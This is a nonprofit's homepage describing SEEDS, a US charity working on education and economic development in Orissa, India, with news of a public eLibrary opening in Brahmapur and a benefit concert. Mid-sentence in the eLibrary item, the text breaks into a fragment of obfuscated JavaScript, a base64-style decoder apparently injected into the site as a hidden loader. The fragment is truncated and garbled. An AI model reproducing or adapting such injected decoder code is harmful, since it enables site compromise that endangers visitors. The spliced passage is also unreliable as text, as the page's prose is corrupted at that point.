SEEDS — the Change Catalysts

Sustainable Economic and Educational Development Society (SEEDS)

What is SEEDS?

Sustainable Economic and Educational Development Society (SEEDS)  is a tax-exempt 501c(3) nonprofit organization registered in the US. It promotes sustainable advancement of  the people, focusing primarily in the state of Orissa, India. SEEDS began as a registered student organization at the University of Texas at Austin, and is now incorporated in the state of Oregon, USA. This article provides a glimpse into our organization.

Philosophy and Aspiration

SEEDS philosophy is rooted in our wish to promote educational and economic progress and development for the common folks particularly in Orissa, but in the developing world in general.

Glimpses from our projects -- lives and land:


The Odisha Public eLibrary finally staffed and open!

It’s an immense pleasure to see that our 4-year long effort finally sees the light of the day — it moves from its original location to the Brahmapur Town Hall function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else Read more…

A few recent topics to watch

Dr. Saheb Sahu shares his views on eliminating abject poverty. See the article here.   SEEDS Benefit Concert by Jazba was held on June 3rd, 2017, with a great showing and support: